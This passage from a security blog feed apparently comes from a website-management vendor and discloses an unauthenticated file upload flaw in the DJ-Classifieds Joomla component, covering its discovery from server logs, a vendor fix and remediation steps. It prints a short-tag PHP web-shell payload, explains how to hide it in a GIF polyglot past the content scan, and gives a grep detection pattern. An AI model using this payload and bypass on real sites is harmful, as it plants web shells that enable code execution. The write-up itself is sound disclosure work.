&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; and &lt;a href=&quot;https://www.iso.org/standard/69725.html&quot;&gt;ISO/IEC 30111&lt;/a&gt;, the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt;, &lt;a href=&quot;https://www.first.org/global/sigs/vulnerability-coordination/multiparty/&quot;&gt;FIRST&apos;s multi-party coordination guidance&lt;/a&gt; and the &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html&quot;&gt;OWASP Vulnerability Disclosure Cheat Sheet&lt;/a&gt; - the standards and practitioner guides behind the disclosure process described above.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking product page&lt;/a&gt; - where 5.8.1 is available to download.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>events booking</category><category>vulnerability</category><category>responsible disclosure</category><category>gdpr</category><enclosure url="https://mysites.guru/_astro/events-booking-unauthenticated-upload-user-enumeration.CSY4UEww.png" length="0" type="image/png"/></item><item><title>DJ-Classifieds Unauthenticated File Upload</title><link>https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/</link><guid isPermaLink="true">https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/</guid><description>DJ-Classifieds below 3.11.2 let anyone upload files to your Joomla site with no login, and it was being used in the wild. Update to 3.11.2 now.</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most of the Joomla extension flaws we write up start with a code audit. This one started with a line in a customer&apos;s server log. A site we look after showed an anonymous request hitting DJ-Classifieds&apos; image upload endpoint and dropping a randomly named &lt;code&gt;.gif&lt;/code&gt; file, with no login behind it. That is the fingerprint of an automated scanner probing an upload it can reach without an account.&lt;/p&gt;
&lt;p&gt;DJ-Classifieds is a popular classifieds and ads component for Joomla by &lt;a href=&quot;https://dj-extensions.com/joomla-classifieds&quot;&gt;DJ-Extensions&lt;/a&gt;. We pulled the code apart, reproduced the upload on a controlled test install, and confirmed an unauthenticated arbitrary file upload: the front-end task &lt;code&gt;index.php?option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt; accepts a file with no login and no CSRF token. We reported it privately to DJ-Extensions, and they shipped &lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;DJ-Classifieds 3.11.2&lt;/a&gt; as a dedicated security release three days later, on 20 July 2026.&lt;/p&gt;
&lt;p&gt;If any of your Joomla sites run DJ-Classifieds, update them to 3.11.2 now, then read on for what the flaw did, why the version&apos;s existing &quot;no executable files&quot; defence did not hold, and how to check whether you were already hit.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update to DJ-Classifieds 3.11.2&lt;/p&gt;
  &lt;p&gt;3.11.2 is the fix. It puts authentication and a session token on the imageupload endpoint and restricts uploads to real image types on the server side. Update every DJ-Classifieds site you run. If you cannot update immediately, block requests to the imageupload task at a firewall as a stopgap.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated arbitrary file upload&lt;/strong&gt; in DJ-Classifieds, a Joomla classifieds component. The front-end task &lt;code&gt;option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt; writes a file with &lt;strong&gt;no login and no CSRF token&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;We found it from a &lt;strong&gt;customer&apos;s server logs&lt;/strong&gt;, not a lab: an anonymous request was dropping a randomly named &lt;code&gt;.gif&lt;/code&gt; through this exact endpoint&lt;/li&gt;
&lt;li&gt;The component&apos;s controls stop a bare &lt;code&gt;.php&lt;/code&gt;, but the malicious-content scan only matches &lt;strong&gt;three literal strings&lt;/strong&gt;, so PHP hidden in a valid image with short tags is stored intact&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not a clean remote code execution on a default server&lt;/strong&gt; (the image is served inert), but a reliable web-shell-in-image plant, and outright &lt;strong&gt;RCE on hosts that run a whitelisted extension&lt;/strong&gt; or via a local file include. We rate it &lt;strong&gt;High&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;every version up to and including 3.11.1&lt;/strong&gt; (confirmed live on 3.10.1, by code on 3.11.1, present back to at least 3.9.2). &lt;strong&gt;Fixed in 3.11.2&lt;/strong&gt;, released &lt;strong&gt;20 July 2026&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Now tracked as &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61424&quot;&gt;CVE-2026-61424&lt;/a&gt;&lt;/strong&gt;. It is &lt;strong&gt;not&lt;/strong&gt; CVE-2025-54474, which is a separate authenticated SQL injection in the same version range&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 3.11.2 on every affected site, then check for compromise.&lt;/strong&gt; DJ-Extensions shipped the fix quickly and published a proper security release for it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How We Found It, and Why That Matters&lt;/h2&gt;
&lt;p&gt;The trigger was a single log entry on a site we manage. Stripped down, it was an anonymous request to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;option=com_djclassifieds task=imageupload name=&amp;lt;random&amp;gt;.gif filename=&amp;lt;random&amp;gt;.gif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No cookie, no session, no referring page from an editing screen. Just a bare hit on an upload task, writing a randomly named GIF. That signature, a scanner probing an upload it can reach without logging in, is worth investigating on its own, and it led straight to the component&apos;s upload handler.&lt;/p&gt;
&lt;p&gt;This is the part that does not show up in a changelog. DJ-Extensions&apos; own &lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;3.11.2 release notes&lt;/a&gt; describe the risk as files being stored &quot;temporarily&quot; and say that &quot;executing arbitrary code was heavily restricted.&quot; That is a fair description of the default-server case, but it undersells what we actually saw: the endpoint was being hit in the wild by an anonymous client before any fix existed. When a flaw is reachable with no login, you do not get to assume nobody has found it. Somebody had.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every DJ-Classifieds Site I Manage?&lt;/h2&gt;
&lt;p&gt;When a flaw drops in a component that could be on any number of your client sites, the first question is always the same: which of my sites run it, and on what version? Logging into forty Joomla admin panels to read the DJ-Classifieds version on each is not a plan when a scanner is already working through upload endpoints.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension inventory&lt;/a&gt; shows every site running DJ-Classifieds, with the version on each, in seconds. Filter for anything below 3.11.2 and you have your work list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every DJ-Classifieds install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for DJ-Classifieds across every connected Joomla site and filter for anything below 3.11.2 to find the installs that need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 3.11.2 across every affected site in one batch instead of an afternoon of admin logins. That is the difference between patching before the scanner comes back and finding out the hard way.&lt;/p&gt;
&lt;h2&gt;What the DJ-Classifieds Upload Flaw Actually Does&lt;/h2&gt;
&lt;p&gt;The vulnerable code is the &lt;code&gt;upload()&lt;/code&gt; method in &lt;code&gt;administrator/components/com_djclassifieds/lib/djupload.php&lt;/code&gt;. The site controller&apos;s &lt;code&gt;imageupload&lt;/code&gt; task calls it directly, with nothing in front of it: no login check, and no Joomla anti-CSRF token. The filename comes from the request (&lt;code&gt;name&lt;/code&gt; / &lt;code&gt;filename&lt;/code&gt;), and the file body is read straight from &lt;code&gt;php://input&lt;/code&gt;. The file is written into the component&apos;s configured upload directory, which defaults to &lt;code&gt;tmp/djupload&lt;/code&gt; under your web root and is served over HTTP like any other file.&lt;/p&gt;
&lt;p&gt;To be fair to the component, several guards do hold, which is why this is not a one-line &lt;code&gt;.php&lt;/code&gt; drop:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;An extension allow-list.&lt;/strong&gt; Uploads are limited to a fixed list (&lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;bmp&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt;, &lt;code&gt;pdf&lt;/code&gt;, &lt;code&gt;tif&lt;/code&gt;, &lt;code&gt;tiff&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, &lt;code&gt;csv&lt;/code&gt;, &lt;code&gt;doc&lt;/code&gt; and similar, through to &lt;code&gt;zip&lt;/code&gt;). &lt;code&gt;php&lt;/code&gt; is not on it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A direct block on executable extensions.&lt;/strong&gt; A &lt;code&gt;preg_match(&apos;/\.(php|shtml|pht|asp)/i&apos;, $filePath)&lt;/code&gt; rejects &lt;code&gt;.php&lt;/code&gt;, the classic double extension &lt;code&gt;.php.gif&lt;/code&gt;, and &lt;code&gt;.phtml&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename sanitisation.&lt;/strong&gt; &lt;code&gt;preg_replace(&apos;/[^\w\._]+/&apos;, &apos;_&apos;, $name)&lt;/code&gt; strips path separators, so there is no directory traversal out of the upload folder.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The guard that fails is the malicious-content scan. It reads the uploaded bytes and rejects the file only if it contains one of three literal strings: &lt;code&gt;&amp;lt;?php&lt;/code&gt;, &lt;code&gt;eval(&lt;/code&gt;, or &lt;code&gt;base64&lt;/code&gt;. That list looks reasonable and is trivially incomplete. PHP does not need the string &lt;code&gt;&amp;lt;?php&lt;/code&gt; to run. A short tag opens a PHP block just as well:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?=system($_GET[&apos;c&apos;]);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no &lt;code&gt;&amp;lt;?php&lt;/code&gt;, no &lt;code&gt;eval(&lt;/code&gt; and no &lt;code&gt;base64&lt;/code&gt; anywhere in that, so the scan passes it. The older &lt;code&gt;&amp;lt;script language=&quot;php&quot;&amp;gt;&lt;/code&gt; form clears it too. Now layer that onto the image requirement. Files with an image extension are validated with &lt;code&gt;getimagesize()&lt;/code&gt;, and &lt;code&gt;getimagesize()&lt;/code&gt; is satisfied by a valid header, not a clean file. A GIF that starts with the real &lt;code&gt;GIF89a&lt;/code&gt; header and carries the PHP after it is a valid image &lt;em&gt;and&lt;/em&gt; a PHP file at the same time. The allow-list is happy, the extension block is happy, &lt;code&gt;getimagesize()&lt;/code&gt; is happy, and the three-string scan is happy, so the polyglot is stored on your server byte for byte.&lt;/p&gt;
&lt;p&gt;On our controlled test of 3.10.1, that is exactly what happened. A baseline GIF uploaded anonymously and read back over HTTP with a 200. A bare &lt;code&gt;.php&lt;/code&gt;, a &lt;code&gt;.php.gif&lt;/code&gt; and a &lt;code&gt;.phtml&lt;/code&gt; were all refused with &quot;Wrong file format&quot;. A polyglot GIF carrying &lt;code&gt;&amp;lt;?=system($_GET[&apos;c&apos;]);?&amp;gt;&lt;/code&gt; was accepted and stored intact, served back as &lt;code&gt;image/gif&lt;/code&gt;. There is also a smaller timing issue worth noting: the handler &lt;code&gt;rename()&lt;/code&gt;s the uploaded temp file into place &lt;em&gt;before&lt;/em&gt; it runs the extension and content checks and its cleanup &lt;code&gt;@unlink&lt;/code&gt;, so there is a brief window where the raw file exists on disk under a predictable path.&lt;/p&gt;
&lt;h2&gt;Is This Remote Code Execution?&lt;/h2&gt;
&lt;p&gt;Not on a normal server, and it matters to say so plainly. The whole point of the checks above is that a stored polyglot GIF is served as an image and never executed as PHP. On a default Apache, FrankenPHP or nginx stack, requesting that GIF gives you back an image, not a shell. If a post tells you every unauthenticated upload is an automatic maximum-severity RCE, it is not being straight with you.&lt;/p&gt;
&lt;p&gt;What you actually get without any login is still serious:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A web shell hidden inside a valid image.&lt;/strong&gt; The malicious code sits on your domain, inside a file that passes every image check, waiting for a way to be executed. That is a foothold, and a quiet one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content and disk abuse.&lt;/strong&gt; An open, anonymous upload is a way to host arbitrary files on a trusted domain and to fill the disk.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It crosses into full remote code execution in two common situations. The first is a host that runs a whitelisted extension as PHP, the Apache &lt;code&gt;AddHandler&lt;/code&gt; or &lt;code&gt;mod_mime&lt;/code&gt; misconfiguration where &lt;code&gt;image.gif&lt;/code&gt; or &lt;code&gt;image.php.gif&lt;/code&gt; is handed to the PHP interpreter. That is not rare on cheap shared hosting. The second is any local file include elsewhere on the site that can be pointed at the stored image; at that point the PHP inside the &quot;image&quot; runs. Either way, an anonymous visitor ends up executing code on your server. That combination, unauthenticated and reachable by anyone, gated on the default stack only by controls that several ordinary configurations undo, is why we assess it as High.&lt;/p&gt;
&lt;p&gt;DJ-Extensions&apos; existing controls do reduce persistence: temporary uploads are cleared after roughly twelve hours, which shortens the life of a probe file. That is a genuine mitigating factor. It is not a fix, because twelve hours is plenty of time for a scanner to upload, fetch, and move on.&lt;/p&gt;
&lt;h2&gt;DJ-Extensions Shipped the Fix in Three Days&lt;/h2&gt;
&lt;p&gt;Credit where it is due: this was a fast, clean response. We reported the flaw privately on 17 July 2026, and DJ-Extensions released 3.11.2 on 20 July, a dedicated security release with a public write-up that names the &lt;code&gt;imageupload&lt;/code&gt; feature and tells administrators to update immediately. That is the right way to handle a report, and it is a good deal better than the silent one-line changelogs we often have to decode.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;3.11.2 release notes&lt;/a&gt; list two changes, and they are the correct two:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The &lt;code&gt;imageupload&lt;/code&gt; endpoint is restricted.&lt;/strong&gt; Authentication and CSRF/session validation now stop unauthenticated or unauthorised requests from writing files.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A server-side image-only allow-list.&lt;/strong&gt; Uploads are limited to real image formats (&lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt;) on the server, so a &lt;code&gt;.txt&lt;/code&gt; or any other non-image type is now rejected regardless of what the client sends. The old, broad list that allowed documents, archives and text files is gone.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Those are the same two fixes we recommended in our report: require a logged-in user and a valid token on the upload task, and stop trusting a three-string scan to decide what is safe. So the update genuinely closes the hole.&lt;/p&gt;
&lt;p&gt;Two honest caveats for readers. The release notes frame the pre-fix risk as low, leaning on the &quot;no executable files&quot; argument. As the content-scan bypass above shows, that argument had a hole in it, and separately we watched the endpoint being probed in the wild, so treat &quot;update immediately&quot; as the operative line, not &quot;you were probably fine.&quot; And the release credits no researcher by name, so if you only skimmed the changelog you might not realise how the flaw was found or that it was already being used. None of that detracts from the fix itself, which is solid and shipped fast.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;CVE-2026-61424, not CVE-2025-54474&lt;/p&gt;
  &lt;p&gt;This unauthenticated upload flaw is tracked as CVE-2026-61424, fixed in 3.11.2. Do not confuse it with CVE-2025-54474, a separate, authenticated SQL injection in DJ-Classifieds 3.9.2 to 3.10.1 (fixed in 3.10.2, CVSS 8.5) that needs a privileged logged-in user. Different bug, different fix, different risk.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do I Fix My DJ-Classifieds Sites?&lt;/h2&gt;
&lt;p&gt;Updating is the priority and it is straightforward.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Update to 3.11.2.&lt;/strong&gt; In each site&apos;s Joomla admin, go to &lt;strong&gt;System&lt;/strong&gt; then &lt;strong&gt;Update&lt;/strong&gt; then &lt;strong&gt;Extensions&lt;/strong&gt;, find DJ-Classifieds, and update it to 3.11.2. If the update does not show there, download the latest build from your &lt;a href=&quot;https://dj-extensions.com/joomla-classifieds&quot;&gt;DJ-Extensions account&lt;/a&gt; and install it over the top. If you run more than a handful of sites, push the update across all of them at once from your &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mySites.guru dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;If you cannot update straight away, block the endpoint.&lt;/strong&gt; Deny anonymous requests to &lt;code&gt;option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt; at a web application firewall or reverse proxy, or block web access to the &lt;code&gt;tmp/djupload&lt;/code&gt; directory, so the upload never reaches the component. This is a stopgap, not a fix.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check the upload directory.&lt;/strong&gt; Look in &lt;code&gt;tmp/djupload&lt;/code&gt; (or your configured upload path) for files you did not put there, and for image files whose bytes contain a PHP open tag such as &lt;code&gt;&amp;lt;?&lt;/code&gt; anywhere inside them. A quick way to spot candidates over SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -rlie &apos;&amp;lt;?php\|&amp;lt;?=\|&amp;lt;script language=&quot;php&quot;&apos; tmp/djupload/
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check for a break-in, not just the flaw.&lt;/strong&gt; Updating stops the next attempt but does nothing about one that already happened. Look for &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;unfamiliar administrator accounts&lt;/a&gt; in your Joomla Users list sorted by registration date, and for recently modified PHP across the whole site. If you find anything, clean the site properly, then change your Joomla passwords and secrets.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Remember that &lt;code&gt;.htaccess&lt;/code&gt; tricks are a weak answer here. As we covered in &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;why your .htaccess will not stop a Joomla hack&lt;/a&gt;, disabling PHP in one folder does not help much when the write happens inside the component and the real risk is an image served from a directory you did not think to lock down.&lt;/p&gt;
&lt;h2&gt;Why Image Upload Endpoints Keep Doing This to Joomla Sites&lt;/h2&gt;
&lt;p&gt;DJ-Classifieds is not an outlier. It joins a steady run of Joomla extension file-upload flaws we have written up, and several share the exact same shape: a front-end endpoint that touches uploads, reachable without a proper login, trusting a check that does not hold. The weakness class is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, unrestricted upload of a file with a dangerous type, and it turns up across the whole category rather than in one vendor&apos;s code.&lt;/p&gt;
&lt;p&gt;The recent list makes the point. &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt; (CVE-2026-56290, CVSS 10.0) was an unauthenticated upload that let the attacker pick the destination folder. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; accepted an attachment from anyone with no login and no file-type check. &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda zero-day&lt;/a&gt; were both unauthenticated uploads reached without the right checks, and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; was used to plant hidden Joomla admins. Even &lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads&lt;/a&gt; shipped a stray test upload script with no checks at all. DJ-Classifieds is a variation on the theme: the checks exist, but the content scan trusts a three-string blocklist that a short tag walks straight past.&lt;/p&gt;
&lt;p&gt;The thread through all of them is the one we pulled on in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;: a front-end endpoint that verifies too little and then does something dangerous. When a framework leaves each extension developer to get authentication, tokens and content validation right on their own, the same mistake gets made independently, over and over. It is also why we are &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;not the only ones auditing Joomla extensions&lt;/a&gt; any more, and why this keeps being worth writing about.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Keeps You Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;A file-upload flaw is a race, and the clock starts the moment it is public. The slow part has never been the update itself. It is working out which of your sites even have the affected extension, on what version, and getting the patch onto all of them before a scanner gets there first.&lt;/p&gt;
&lt;p&gt;mySites.guru collapses that. Every connected site reports the exact version of every installed extension on a twice-daily snapshot, so &quot;which of my sites run DJ-Classifieds below 3.11.2&quot; is answered the moment you ask it. The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update tool&lt;/a&gt; then pushes the patch to every affected site in one operation. And because this flaw was being probed in the wild, the detection half matters too: the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content and hacked-file tool&lt;/a&gt; runs on every audit of every connected Joomla site and flags web shells and files that do not belong, including a PHP payload hidden inside an image, without us needing a bespoke signature for this particular attack first. If you are unsure how to read what it raises, we cover &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content versus a confirmed hacked file&lt;/a&gt; separately.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious extension flaw like this one is found, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is the whole point of connecting your sites before the next flaw drops rather than after. When it does, you are not scrambling to build a list. You already have it, you push one update, and you move on. If you are not set up yet, start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; for vulnerability flags and one-click updates across every site you manage. If a site has already been touched, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by an anonymous user, with no login and no user interaction, on any site running DJ-Classifieds up to and including 3.11.1. On a default server the component&apos;s controls keep it short of direct code execution, so the immediate impact is a web shell hidden in a valid image plus content and disk abuse; it reaches remote code execution on hosts that run a whitelisted extension or via a local file include. We assess it as High severity, CVSS 4.0 8.8 (&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;), scoring the guaranteed arbitrary file write rather than the host-dependent code execution. It is tracked as CVE-2026-61424. DJ-Extensions published a security release and shipped the patched 3.11.2 on 20 July 2026.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.8&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Unauthenticated&lt;/span&gt;
        &lt;span&gt;No login required; CVE-2026-61424, fixed in DJ-Classifieds 3.11.2&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable by anyone on the internet with no account, and seen being probed in the wild. On a default server it is a web shell hidden in a valid image plus content and disk abuse; it becomes remote code execution on hosts that run a whitelisted extension or via a local file include. The fix is to update to 3.11.2, or block the imageupload endpoint if you cannot update yet.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login&lt;/span&gt;
        &lt;span&gt;Exploited in the wild&lt;/span&gt;
        &lt;span&gt;Fixed in 3.11.2&lt;/span&gt;
        &lt;span&gt;RCE on misconfigured hosts&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;DJ-Classifieds (&lt;code&gt;com_djclassifieds&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;DJ-Extensions.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated arbitrary file upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Endpoint&lt;/td&gt;
&lt;td&gt;&lt;code&gt;index.php?option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61424&quot;&gt;CVE-2026-61424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;High (our assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.8 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Found by&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru, from a customer&apos;s server logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Up to and including 3.11.1 (confirmed live on 3.10.1, by code on 3.11.1; present back to at least 3.9.2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;DJ-Classifieds 3.11.2&lt;/a&gt;, released 20 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;16 July 2026&lt;/td&gt;
&lt;td&gt;A site we manage shows an anonymous hit on the &lt;code&gt;imageupload&lt;/code&gt; task in its server logs, dropping a randomly named &lt;code&gt;.gif&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 July 2026&lt;/td&gt;
&lt;td&gt;We reproduce the flaw on a controlled Joomla install, confirm the affected version range by code review, and report it privately to DJ-Extensions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 July 2026&lt;/td&gt;
&lt;td&gt;DJ-Extensions releases DJ-Classifieds 3.11.2, a security release that adds authentication and a session token to the &lt;code&gt;imageupload&lt;/code&gt; endpoint and enforces a server-side image-only allow-list. Update every affected site.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
